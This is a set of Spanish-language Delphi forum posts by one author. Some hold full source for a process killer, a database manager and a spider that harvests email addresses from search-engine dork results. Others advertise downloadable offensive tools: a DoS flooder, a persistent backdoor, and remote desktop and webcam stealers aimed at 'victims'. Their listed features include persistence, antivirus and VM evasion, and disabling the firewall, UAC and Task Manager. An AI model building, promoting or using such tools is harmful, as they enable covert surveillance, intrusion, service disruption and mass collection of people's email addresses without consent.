  TQueryFullProcessImageName = function(hProcess: Thandle; dwFlags: DWORD;
    lpExeName: PChar; nSize: PDWORD): bool; stdcall;
var
  handle_process: Thandle;
  path_found: array [0 .. MAX_PATH - 1] of Char;
  query: TQueryFullProcessImageName;
  limit: Cardinal;
  code: string;
begin

  code := '';

  try
    begin
      handle_process := OpenProcess(PROCESS_QUERY_INFORMATION or
        PROCESS_VM_READ, False, process_pid);
      if GetModuleFileNameEX(handle_process, 0, path_found, MAX_PATH) <> 0 then
      begin
        code := path_found;
      end
      else if Win32MajorVersion >= 6 then
      begin
        limit := MAX_PATH;
        ZeroMemory(@path_found, MAX_PATH);
        @query := GetProcAddress(GetModuleHandle('kernel32'),
          'QueryFullProcessImageNameW');
        if query(handle_process, 0, path_found, @limit) then
        begin
          code := path_found;
        end;
      end
      else
      begin
        code := '';
      end;
      CloseHandle(handle_process);
    end;
  except
    begin
      //
    end;
  end;

  if (code = '') then
  begin
    code := '--';
  end;

  Result := code;

end;

// Functions to get window title

function EnumWindowsProc(handle_finder: Thandle; parametro: lParam)
  : bool; stdcall;
var
  pid_found: integer;
begin
  Result := True;
  GetWindowThreadProcessId(handle_finder, @pid_found);
  if parametros_globales(parametro).pid_global = pid_found then
  begin
    parametros_globales(parametro).Handle := handle_finder;
    Result := False;
  end;
end;

function get_window_by_pid(pid: integer): string;
var
  parametros: TParametros;
  title: string;
  open_handle: Thandle;

begin

  parametros.pid_global := pid;
  EnumWindows(@EnumWindowsProc, lParam(@parametros));

  repeat

    open_handle := parametros.Handle;
    parametros.Handle := GetParent(open_handle);

    title := '';
    SetLength(title, 255);
    SetLength(title, GetWindowText(open_handle, PChar(title), Length(title)));

    Result := title;

  until parametros.Handle = 0;

end;

procedure TFormHome.KillByMD5Click(Sender: TObject);
var
  argumento: string;
begin
  argumento := InputBox('DH Process Killer 0.5', 'MD5 : ', '');
  if not(argumento = '') then
  begin
    if (kill_process('md5', argumento)) then
    begin
      message_box('DH Process Killer 0.5', 'Process Killed', 'Information');
    end
    else
    begin
      message_box('DH Process Killer 0.5', 'Error killing process', 'Error');
    end;
  end
  else
  begin
    message_box('DH Process Killer 0.5', 'Write MD5', 'Warning');
  end;
  listar_procesos();
end;

procedure TFormHome.KillByNameClick(Sender: TObject);
var
  argumento: string;
begin
  argumento := InputBox('DH Process Killer 0.5', 'Name : ', '');
  if not(argumento = '') then
  begin
    if (kill_process('name', argumento)) then
    begin
      message_box('DH Process Killer 0.5', 'Process Killed', 'Information');
    end
    else
    begin
      message_box('DH Process Killer 0.5', 'Error killing process', 'Error');
    end;
  end
  else
  begin
    message_box('DH Process Killer 0.5', 'Write Name', 'Warning');
  end;
  listar_procesos();
end;

procedure TFormHome.KillByPIDClick(Sender: TObject);
var
  argumento: string;
begin
  argumento := InputBox('DH Process Killer', 'PID : ', '');
  if not(argumento = '') then
  begin
    if (kill_process('pid', argumento)) then
    begin
      message_box('DH Process Killer 0.5', 'Process Killed', 'Information');
    end
    else
    begin
      message_box('DH Process Killer 0.5', 'Error killing process', 'Error');
    end;
  end
  else
  begin
    message_box('DH Process Killer 0.5', 'Write PID', 'Warning');
  end;
  listar_procesos();
end;

procedure TFormHome.KillSelectedClick(Sender: TObject);
var
  process_id: string;
begin
  if not(lvProcess.Itemindex = -1) then
  begin
    process_id := lvProcess.Selected.Caption;
    if (kill_process('pid', process_id)) then
    begin
      message_box('DH Process Killer 0.5', 'Process Killed', 'Information');
    end
    else
    begin
      message_box('DH Process Killer 0.5', 'Error killing process', 'Error');
    end;
  end
  else
  begin
    message_box('DH Process Killer 0.5', 'Select Process', 'Warning');
  end;
  listar_procesos();
end;

function TFormHome.kill_process(option: string; arg: string): bool;
var
  tools: T_DH_Tools;
  loop_run: bool;
  Handle: Thandle;
  process_load: TProcessEntry32;
  resultado: bool;
  check_ok: bool;
  path: string;
  md5_to_check: string;
begin

  resultado := False;

  tools := T_DH_Tools.Create();

  try
    begin
      Handle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      process_load.dwSize := SizeOf(process_load);
      loop_run := Process32First(Handle, process_load);

      while integer(loop_run) <> 0 do
      begin

        if (option = 'pid') then
        begin
          if (process_load.th32ProcessID = StrToInt(arg)) then
          begin
            TerminateProcess(OpenProcess(PROCESS_TERMINATE, bool(0),
              process_load.th32ProcessID), 0);
            resultado := True;
            check_ok := True;
            break;
          end;
        end;

        if (option = 'name') then
        begin
          if (ExtractFileName(process_load.szExeFile) = arg) then
          begin
            TerminateProcess(OpenProcess(PROCESS_TERMINATE, bool(0),
              process_load.th32ProcessID), 0);
            resultado := True;
            check_ok := True;
            break;
          end;
        end;

        if (option = 'md5') then
        begin
          path := get_path_by_pid(process_load.th32ProcessID);
          if (FileExists(path)) then
          begin
            md5_to_check := tools.get_file_md5(path);
            if (md5_to_check = arg) then
            begin
              TerminateProcess(OpenProcess(PROCESS_TERMINATE, bool(0),
                process_load.th32ProcessID), 0);
              resultado := True;
              check_ok := True;
              break;
            end;
          end
        end;

        loop_run := Process32Next(Handle, process_load);
      end;
      if not(check_ok = True) then
      begin
        resultado := False;
      end;
      CloseHandle(Handle);
    end;
  except
    begin
      resultado := False;
    end;
  end;

  tools.Free;

  Result := resultado;

end;

//

procedure TFormHome.listar_procesos;
var
  handle_process: Thandle;
  check_process: LongBool;
  process_load: TProcessEntry32;
  lista: TListItem;
  path: string;
  getdata: SHFILEINFO;
  icono: TIcon;
  cantidad: integer;
var
  Handle: Thandle;
  title: string;
  pid: integer;
begin

  cantidad := 0;

  handle_process := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  process_load.dwSize := SizeOf(process_load);
  check_process := Process32First(handle_process, process_load);

  lvProcess.Items.Clear;

  while check_process do
  begin

    Inc(cantidad);

    lista := lvProcess.Items.Add;
    lista.Caption := IntToStr(process_load.th32ProcessID);
    lista.SubItems.Add(process_load.szExeFile);

    path := get_path_by_pid(process_load.th32ProcessID);

    if (FileExists(path)) then
    begin
      SHGetFileInfo(PChar(path), 0, getdata, SizeOf(getdata),
        SHGFI_ICON or SHGFI_SMALLICON);
    end
    else
    begin
      SHGetFileInfo(PChar('C:\Windows\System32\ftp.exe'), 0, getdata,
        SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
    end;

    icono := TIcon.Create;

    icono.Handle := getdata.hIcon;
    lista.ImageIndex := ilIconosProcesos.AddIcon(icono);

    lista.SubItems.Add(path);

    title := get_window_by_pid(process_load.th32ProcessID);

    if (title = '') then
    begin
      title := '--';
    end;

    lista.SubItems.Add(title);

    DestroyIcon(getdata.hIcon);
    icono.Free;

    check_process := Process32Next(handle_process, process_load);

  end;

  gbProcessFound.Caption := 'Process Found : ' + IntToStr(cantidad);

end;

procedure TFormHome.RefreshListClick(Sender: TObject);
begin
  listar_procesos();
end;

procedure TFormHome.FormCreate(Sender: TObject);
begin
  listar_procesos();
end;

end.

// The End ?

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.

Eso seria todo.

8
Delphi / [Delphi] DH Spider 1.0
« en: Noviembre 25, 2016, 11:43:41 am »
Un programa en Delphi para buscar emails en Google,Bing o en un wordlist con paginas.

Se pueden guardar los resultados en logs , usa threads para ser mas rapido y borra repetidos en los resultados.

Una imagen :



El codigo :

Código: [Seleccionar]
// DH Spider 1.0
// (C) Doddy Hackman 2016

unit spider;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.Menus, Vcl.ExtCtrls, Vcl.ComCtrls,
  Vcl.StdCtrls, Vcl.Styles.Utils.Menus, Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Math, Vcl.Imaging.pngimage,
  Vcl.ImgList, DH_Searcher, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, PerlRegex, OtlThreadPool, OtlComm, OtlTask,
  OtlTaskControl;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    pcMenu: TPageControl;
    tsLinks: TTabSheet;
    tsSpider: TTabSheet;
    status: TStatusBar;
    gbLinks: TGroupBox;
    lvLinks: TListView;
    gbEmailsFound: TGroupBox;
    lvEmailsFound: TListView;
    odOpenFile: TOpenDialog;
    sdSaveLogs: TSaveDialog;
    ilIconos: TImageList;
    ilIconos2: TImageList;
    tsSearcher: TTabSheet;
    tsAbout: TTabSheet;
    gbSearcher: TGroupBox;
    lblDork: TLabel;
    txtDork: TEdit;
    lblPages: TLabel;
    txtPages: TEdit;
    udPages: TUpDown;
    lblOption: TLabel;
    cmbOption: TComboBox;
    btnStartSearch: TButton;
    btnStopSearch: TButton;
    btnStartScan: TButton;
    btnStopScan: TButton;
    gbAbout: TGroupBox;
    about: TImage;
    panelAbout: TPanel;
    labelAbout: TLabel;
    pmLinksOptions: TPopupMenu;
    ItemLoadFromFile: TMenuItem;
    ItemSaveLinks: TMenuItem;
    ItemClearListLinks: TMenuItem;
    pmEmailsOptions: TPopupMenu;
    ItemSaveEmails: TMenuItem;
    ItemClearListEmails: TMenuItem;
    lblThreads: TLabel;
    txtThreads: TEdit;
    udThreads: TUpDown;
    procedure FormCreate(Sender: TObject);
    procedure btnStartSearchClick(Sender: TObject);
    procedure btnStopSearchClick(Sender: TObject);
    procedure btnStartScanClick(Sender: TObject);
    procedure btnStopScanClick(Sender: TObject);
    procedure ItemLoadFromFileClick(Sender: TObject);
    procedure ItemSaveEmailsClick(Sender: TObject);
    procedure ItemClearListLinksClick(Sender: TObject);
    procedure ItemClearListEmailsClick(Sender: TObject);
    function toma(page: string): string;
    procedure ItemSaveLinksClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    stop: boolean;
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

function savefile(archivo, texto: string): bool;
var
  open_file: TextFile;
begin
  try
    begin
      AssignFile(open_file, archivo);
      FileMode := fmOpenWrite;

      if FileExists(archivo) then
      begin
        Append(open_file);
      end
      else
      begin
        Rewrite(open_file);
      end;

      Write(open_file, texto);
      CloseFile(open_file);
      Result := True;
    end;
  except
    Result := False;
  end;
end;

//

procedure TFormHome.FormCreate(Sender: TObject);
begin
  UseLatestCommonDialogs := False;
  odOpenFile.InitialDir := GetCurrentDir;
  odOpenFile.Filter := 'TXT files (*.txt)|*.TXT';
  sdSaveLogs.InitialDir := GetCurrentDir;
  sdSaveLogs.Filter := 'TXT files (*.txt)|*.TXT';
end;

procedure TFormHome.btnStartSearchClick(Sender: TObject);
var
  searcher: T_DH_Searcher;
  links: other_array_searcher;
  i: integer;
  dork: string;
  count: integer;
  counter: integer;
begin
  counter := 0;
  dork := txtDork.Text;
  count := StrToInt(txtPages.Text);
  if not(dork = '') and (count > 0) then
  begin
    GlobalOmniThreadPool.MaxExecuting := StrToInt(txtThreads.Text) *
      System.CPUCount;
    searcher := T_DH_Searcher.Create();

    CreateTask(
      procedure(const task: IOmniTask)
      var
        dork_to_load: string;
        pages_to_load: integer;
      begin

        dork_to_load := task.Param['dork'].AsString;
        pages_to_load := task.Param['pages'].AsInteger;

        status.Panels[0].Text := '[+] Searching ...';
        FormHome.Update;

        if (cmbOption.Text = 'Google') then
        begin
          links := searcher.search_google(dork, count);
        end;
        if (cmbOption.Text = 'Bing') then
        begin
          links := searcher.search_bing(dork, count);
        end;

      end).SetParameter('dork', dork).SetParameter('pages', count)
      .Unobserved.Schedule;

    while GlobalOmniThreadPool.CountExecuting +
      GlobalOmniThreadPool.CountQueued > 0 do
    begin
      Application.ProcessMessages;
    end;

    For i := Low(links) to High(links) do
    begin
      with lvLinks.Items.Add do
      begin
        Caption := links[i];
        Inc(counter);
      end;
    end;
    searcher.Free();
    gbLinks.Caption := 'Links Found : ' + IntToStr(counter);
    if (counter > 0) then
    begin
      status.Panels[0].Text := '[+] Links Found : ' + IntToStr(counter);
      FormHome.Update;
      message_box('DH Spider 1.0', 'Links Found : ' + IntToStr(counter),
        'Information');
    end
    else
    begin
      status.Panels[0].Text := '[-] Links not found';
      FormHome.Update;
      message_box('DH Spider 1.0', 'Links not found', 'Warning');
    end;
  end
  else
  begin
    message_box('DH Spider 1.0', 'Complete the form', 'Warning');
  end;
end;

procedure TFormHome.btnStopSearchClick(Sender: TObject);
begin
  GlobalOmniThreadPool.CancelAll;
  status.Panels[0].Text := '[+] Stopped';
  FormHome.Update;
  message_box('DH Spider 1.0', 'Scan Stopped', 'Information');
end;

function TFormHome.toma(page: string): string;
var
  nave: TIdHTTP;
  code: string;
begin
  code := '';
  try
    begin
      nave := TIdHTTP.Create(nil);
      nave.Request.UserAgent :=
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
      code := nave.Get(page);
      nave.Free();
    end;
  except
    begin
      //
    end;
  end;
  Result := code;
end;

procedure TFormHome.btnStartScanClick(Sender: TObject);
var
  page, code, email: string;
  emails: TStringList;
  links: TStringList;
  link: string;
  i, j: integer;
  regex: TPerlRegEx;
  new_item: TListItem;
  counter: integer;
begin
  GlobalOmniThreadPool.MaxExecuting := StrToInt(txtThreads.Text) *
    System.CPUCount;
  counter := 0;
  i := 0;
  j := 0;
  emails := TStringList.Create();
  links := TStringList.Create();
  if (lvLinks.Items.count > 0) then
  begin
    for i := 0 to lvLinks.Items.count - 1 do
    begin
      Application.ProcessMessages;
      page := lvLinks.Items[i].Caption;

      CreateTask(
        procedure(const task: IOmniTask)
        var
          page_to_load: string;
        begin

          page_to_load := task.Param['page'].AsString;

          status.Panels[0].Text := '[+] Checking page : ' +
            page_to_load + ' ...';
          FormHome.Update;

          code := toma(page_to_load);

          regex := TPerlRegEx.Create();

          regex.regex := '[A-Z0-9._%+-]+\@[A-Z0-9.-]+\.[A-Z]{2,4}';
          regex.options := [preCaseLess];
          regex.Subject := code;

          while regex.MatchAgain do
          begin
            Inc(counter);
            new_item := lvEmailsFound.Items.Add;
            new_item.Caption := regex.Groups[0];
            new_item.SubItems.Add(page_to_load);
          end;

          regex.Free();

        end).SetParameter('page', page).Unobserved.Schedule;

    end;

    while GlobalOmniThreadPool.CountExecuting +
      GlobalOmniThreadPool.CountQueued > 0 do
    begin
      Application.ProcessMessages;
    end;

    if (counter > 0) then
    begin
      gbEmailsFound.Caption := 'Emails Found : ' + IntToStr(counter);
      status.Panels[0].Text := '[+] Emails Found : ' + IntToStr(counter);
      FormHome.Update;
      message_box('DH Spider 1.0', 'Emails Found : ' + IntToStr(counter),
        'Information');
    end
    else
    begin
      status.Panels[0].Text := '[-] Emails not found';
      FormHome.Update;
      message_box('DH Spider 1.0', 'Emails not found', 'Warning');
    end;
  end
  else
  begin
    message_box('DH Spider 1.0', 'Links not found', 'Warning');
  end;
end;

procedure TFormHome.btnStopScanClick(Sender: TObject);
begin
  GlobalOmniThreadPool.CancelAll;
  stop := True;
  status.Panels[0].Text := '[+] Stopped';
  FormHome.Update;
  message_box('DH Spider 1.0', 'Scan Stopped', 'Information');
end;

procedure TFormHome.ItemClearListEmailsClick(Sender: TObject);
begin
  gbEmailsFound.Caption := 'Emails Found';
  lvEmailsFound.Items.Clear;
  message_box('DH Spider 1.0', 'List Cleaned', 'Information');
end;

procedure TFormHome.ItemClearListLinksClick(Sender: TObject);
begin
  gbLinks.Caption := 'Links Found';
  lvLinks.Items.Clear();
  message_box('DH Spider 1.0', 'List Cleaned', 'Information');
end;

procedure TFormHome.ItemLoadFromFileClick(Sender: TObject);
var
  filename: string;
  lineas: TStringList;
  i: integer;
  counter: integer;
begin
  counter := 0;
  if (odOpenFile.Execute) then
  begin
    filename := odOpenFile.filename;
    if (FileExists(filename)) then
    begin
      status.Panels[0].Text := '[+] Loading file ...';
      FormHome.Update;
      lineas := TStringList.Create();
      lineas.Loadfromfile(filename);
      for i := 0 to lineas.count - 1 do
      begin
        with lvLinks.Items.Add do
        begin
          Caption := lineas[i];
          Inc(counter);
        end;
      end;
      lineas.Free;
      gbLinks.Caption := 'Links Found : ' + IntToStr(counter);
      if (counter > 0) then
      begin
        status.Panels[0].Text := '[+] Links Found : ' + IntToStr(counter);
        FormHome.Update;
        message_box('DH Spider 1.0', 'Links Found : ' + IntToStr(counter),
          'Information');
      end
      else
      begin
        status.Panels[0].Text := '[-] Links not found';
        FormHome.Update;
        message_box('DH Spider 1.0', 'Links not found', 'Warning');
      end;
    end
    else
    begin
      message_box('DH Spider 1.0', 'File not found', 'Warning');
    end;
  end;
end;

procedure TFormHome.ItemSaveEmailsClick(Sender: TObject);
var
  i: integer;
  i2: integer;
  emails: TStringList;
begin
  if (lvEmailsFound.Items.count > 0) then
  begin
    if (sdSaveLogs.Execute) then
    begin

      emails := TStringList.Create();

      for i := 0 to lvEmailsFound.Items.count - 1 do
      begin
        emails.Add(lvEmailsFound.Items[i].Caption);
      end;

      emails.Sorted := True;

      for i2 := 0 to emails.count - 1 do
      begin
        savefile(sdSaveLogs.filename, emails[i2] + sLineBreak);
      end;

      emails.Free();

      status.Panels[0].Text := '[+] Logs saved';
      FormHome.Update;

      message_box('DH Spider 1.0', 'Emails saved', 'Information');
    end
    else
    begin
      message_box('DH Spider 1.0', 'File not found', 'Warning');
    end;
  end
  else
  begin
    message_box('DH Spider 1.0', 'Emails not found', 'Warning');
  end;
end;

procedure TFormHome.ItemSaveLinksClick(Sender: TObject);
var
  i: integer;
  i2: integer;
  links: TStringList;
begin
  if (lvLinks.Items.count > 0) then
  begin
    if (sdSaveLogs.Execute) then
    begin

      links := TStringList.Create();

      for i := 0 to lvLinks.Items.count - 1 do
      begin
        links.Add(lvLinks.Items[i].Caption);
      end;

      links.Sorted := True;

      for i2 := 0 to links.count - 1 do
      begin
        savefile(sdSaveLogs.filename, links[i2] + sLineBreak);
      end;

      links.Free();

      status.Panels[0].Text := '[+] Logs saved';
      FormHome.Update;

      message_box('DH Spider 1.0', 'Links saved', 'Information');
    end
    else
    begin
      message_box('DH Spider 1.0', 'File not found', 'Warning');
    end;
  end
  else
  begin
    message_box('DH Spider 1.0', 'Links not found', 'Warning');
  end;
end;

end.

// The End ?

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.

9
Delphi / [Delphi] DH DoS Tools 1.0
« en: Noviembre 17, 2016, 09:13:37 am »
Un programa para hacer Dos (o mas bien floodear) hecho en Delphi.

Tiene las siguientes opciones :

  • Principales :
  • Permite seleccionar la cantidad de threads a usar
  • HTTP Flood
  • Socket Flood
  • SQLI DoS
  • Slowloris
  • UDP Flood


Una imagen :



Un video con ejemplos de uso :



Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

SourceForge.
Github.

Eso seria todo.

10
Delphi / [Delphi] Heaven Door 1.0
« en: Noviembre 11, 2016, 01:30:30 pm »
Un programa en Delphi que funciona como un backdoor persistente de conexion directa.

Tiene las siguientes opciones :

  • Principales :
  • Backdoor persistente de conexion directa
  • Secundarias :
[++] Ocultar rastros
[++] Persistencia
[++] UAC Tricky
[++] Extraccion de malware personalizado
[++] Editar la fecha de creacion del malware
[++] File Pumper
[++] Extension Spoofer
[++] Icon Changer

  • Antis :
[++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky
[++] VMWare

  • Disables :
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates
[++] MsConfig

Unas imagenes :





Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.

11
Delphi / [Delphi] DH Remote Desktop 1.0
« en: Noviembre 03, 2016, 09:54:20 am »
Un programa en Delphi para capturar el escritorio de una "victima".

Tiene las siguientes opciones :

  • Principales :
  • Capturar escritorio de la victima de forma remota
  • Secundarias :
[++] Ocultar rastros
[++] Persistencia
[++] UAC Tricky
[++] Extraccion de malware personalizado
[++] Editar la fecha de creacion del malware
[++] File Pumper
[++] Extension Spoofer
[++] Icon Changer

  • Antis :
[++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky
[++] VMWare

  • Disables :
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates
[++] MsConfig

Una imagen :



Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

SourceForge.

Eso seria todo.

12
Delphi / [Delphi] DH Webcam Stealer 1.0
« en: Noviembre 03, 2016, 09:53:21 am »
Un programa en Delphi para capturar la webcam de una "victima".

Tiene las siguientes opciones :

  • Principales :
  • Capturar escritorio de la webcam de forma remota
  • Secundarias :
[++] Ocultar rastros
[++] Persistencia
[++] UAC Tricky
[++] Extraccion de malware personalizado
[++] Editar la fecha de creacion del malware
[++] File Pumper
[++] Extension Spoofer
[++] Icon Changer

  • Antis :
[++] Virtual PC
[++] Virtual Box
[++] Debug
[++] Wireshark
[++] OllyDg
[++] Anubis
[++] Kaspersky
[++] VMWare

  • Disables :
[++] UAC
[++] Firewall
[++] CMD
[++] Run
[++] Taskmgr
[++] Regedit
[++] Updates
[++] MsConfig

Una imagen :



Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

SourceForge.

Eso seria todo.

13
Delphi / [Delphi] DH Database Manager 0.8
« en: Octubre 28, 2016, 05:16:16 pm »
Un programa en Delphi para administrar bases de datos del tipo :

  • MSSQL
  • MySQL
  • SQLite


Unas imagenes :







El codigo :

Código: (delphi) [Seleccionar]
// DH Database Manager 0.8
// (C) Doddy Hackman 2016

unit manager;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.ComCtrls,
  Vcl.StdCtrls,
  Vcl.DBCtrls, Vcl.Grids, Vcl.DBGrids, ZAbstractConnection, ZConnection,
  ZAbstractTable, ZDataset, Data.DB, ZAbstractRODataset, ZAbstractDataset,
  ShellApi, Vcl.ImgList, Vcl.Imaging.pngimage;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    status: TStatusBar;
    pcOptions: TPageControl;
    tsConfiguration: TTabSheet;
    tsOptions: TTabSheet;
    tsGrid: TTabSheet;
    gbConfiguration: TGroupBox;
    lblHost: TLabel;
    txtHostname: TEdit;
    lblPort: TLabel;
    txtPort: TEdit;
    lblUsername: TLabel;
    txtUsername: TEdit;
    lblPassword: TLabel;
    txtPassword: TEdit;
    lblDatabase: TLabel;
    txtDatabase: TEdit;
    cmbService: TComboBox;
    btnConnect: TButton;
    btnDisconnect: TButton;
    gbOptions: TGroupBox;
    lblTable: TLabel;
    lblSQL_Query: TLabel;
    cmbTables: TComboBox;
    txtSQL_Query: TEdit;
    btnLoadTable: TButton;
    btnExecute: TButton;
    connection: TZConnection;
    lblService: TLabel;
    grid_connection: TDBGrid;
    nav_connection: TDBNavigator;
    query_connection: TZQuery;
    table_connection: TZTable;
    datasource_connection: TDataSource;
    btnLoadDB: TButton;
    odLoadDB: TOpenDialog;
    btnRefreshTables: TButton;
    ilIconosMenu: TImageList;
    ilIconosBotones: TImageList;
    procedure btnConnectClick(Sender: TObject);
    procedure btnDisconnectClick(Sender: TObject);
    procedure btnLoadTableClick(Sender: TObject);
    procedure btnExecuteClick(Sender: TObject);
    procedure cmbServiceSelect(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure btnLoadDBClick(Sender: TObject);
    procedure btnRefreshTablesClick(Sender: TObject);
  private
    { Private declarations }
    procedure DragDropFile(var Msg: TMessage); message WM_DROPFILES;
  public
    { Public declarations }
    procedure cargarTablas();
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

// Function to DragDrop

// Based in : http://www.clubdelphi.com/foros/showthread.php?t=85665
// Thanks to ecfisa

var
  bypass_window: function(Msg: Cardinal; dwFlag: Word): BOOL; stdcall;

procedure TFormHome.DragDropFile(var Msg: TMessage);
var
  nombre_archivo, extension: string;
  limite, number: integer;
  path: array [0 .. MAX_COMPUTERNAME_LENGTH + MAX_PATH] of char;
begin
  limite := DragQueryFile(Msg.WParam, $FFFFFFFF, path, 255) - 1;
  if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
    for number := 0 to limite do
    begin
      bypass_window(number, 1);
    end;
  for number := 0 to limite do
  begin
    DragQueryFile(Msg.WParam, number, path, 255);

    //

    if (FileExists(path)) then
    begin
      nombre_archivo := ExtractFilename(path);
      extension := ExtractFileExt(path);
      extension := StringReplace(extension, '.', '',
        [rfReplaceAll, rfIgnoreCase]);
      if (extension = 'sqlite') or (extension = 'db3') or (extension = 's3db')
      then
      begin
        txtDatabase.Text := path;
        status.Panels[0].Text := '[+] DB Loaded';
        message_box('DH Database Manager 0.8', 'DB Loaded', 'Information');
      end
      else
      begin
        status.Panels[0].Text := '[-] The DB is not valid';
        message_box('DH Database Manager 0.8', 'The DB is not valid',
          'Warning');
      end;
    end;

    //

  end;
  DragFinish(Msg.WParam);
end;

//

procedure TFormHome.cargarTablas();
var
  lst: TStrings;
  count: integer;
begin
  if (connection.Connected = true) then
  begin
    try
      begin
        cmbTables.Clear;
        lst := TStringList.Create;
        connection.GetTableNames('', lst);
        count := lst.count;
        cmbTables.Items.Assign(lst);
        lst.Free();
        if (count >= 1) then
        begin
          cmbTables.ItemIndex := 0;
        end;
        ShowMessage('Tables loaded : ' + IntToStr(count));
      end;
    except
      begin
        ShowMessage('Tables not found');
      end;
    end;
  end
  else
  begin
    message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
  end;
end;

procedure TFormHome.cmbServiceSelect(Sender: TObject);
begin
  if (cmbService.Text = 'MSSQL') then
  begin
    txtDatabase.ReadOnly := false;
    btnLoadDB.Enabled := false;
  end
  else if (cmbService.Text = 'MYSQL') then
  begin
    txtDatabase.ReadOnly := false;
    btnLoadDB.Enabled := false;
  end
  else if (cmbService.Text = 'SQLITE') then
  begin
    txtDatabase.Text := '';
    txtDatabase.ReadOnly := true;
    btnLoadDB.Enabled := true;
  end
  else
  begin
    status.Panels[0].Text := '[-] Service not found';
    message_box('DH Database Manager 0.8', 'Service not found', 'Warning');
  end;
end;

procedure TFormHome.FormCreate(Sender: TObject);
begin

  //

  if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
  begin
    @bypass_window := GetProcAddress(LoadLibrary('user32.dll'),
      'ChangeWindowMessageFilter');
    bypass_window(WM_DROPFILES, 1);
    bypass_window(WM_COPYDATA, 1);
    bypass_window($0049, 1);
  end;
  DragAcceptFiles(Handle, true);

  //

  UseLatestCommonDialogs := false;
  odLoadDB.InitialDir := GetCurrentDir;
  odLoadDB.Filter :=
    'SQLITE files (*.sqlite)|*.SQLITE|DB3 Files (*.db3)|*.DB3|S3DB File (*.s3db)|*.S3DB';

  //

  btnLoadDB.Enabled := false;
end;

procedure TFormHome.btnConnectClick(Sender: TObject);
begin

  // MSSQL : localhost\SQLEXPRESS
  // admin:123456

  // MYSQL : localhost:3306
  // root

  if (cmbService.Text = 'MSSQL') then
  begin
    if (txtHostname.Text = '') or (txtUsername.Text = '') or
      (txtPassword.Text = '') then
    begin
      status.Panels[0].Text := '[-] Missing data';
      message_box('DH Database Manager 0.8', 'Missing data', 'Warning');
    end
    else
    begin
      try
        begin
          connection.HostName := txtHostname.Text;

          if not(txtDatabase.Text = '') then
          begin
            connection.Database := txtDatabase.Text;
          end;

          connection.Database := 'sistema';
          connection.Protocol := 'mssql';
          connection.User := txtUsername.Text;
          connection.Password := txtPassword.Text;
          connection.Connect;

          status.Panels[0].Text := '[+] Connected';
          message_box('DH Database Manager 0.8', 'Connected', 'Information');

          if not(txtDatabase.Text = '') then
          begin
            cargarTablas();
          end;

        end;
      except
        begin
          status.Panels[0].Text := '[-] Error connecting';
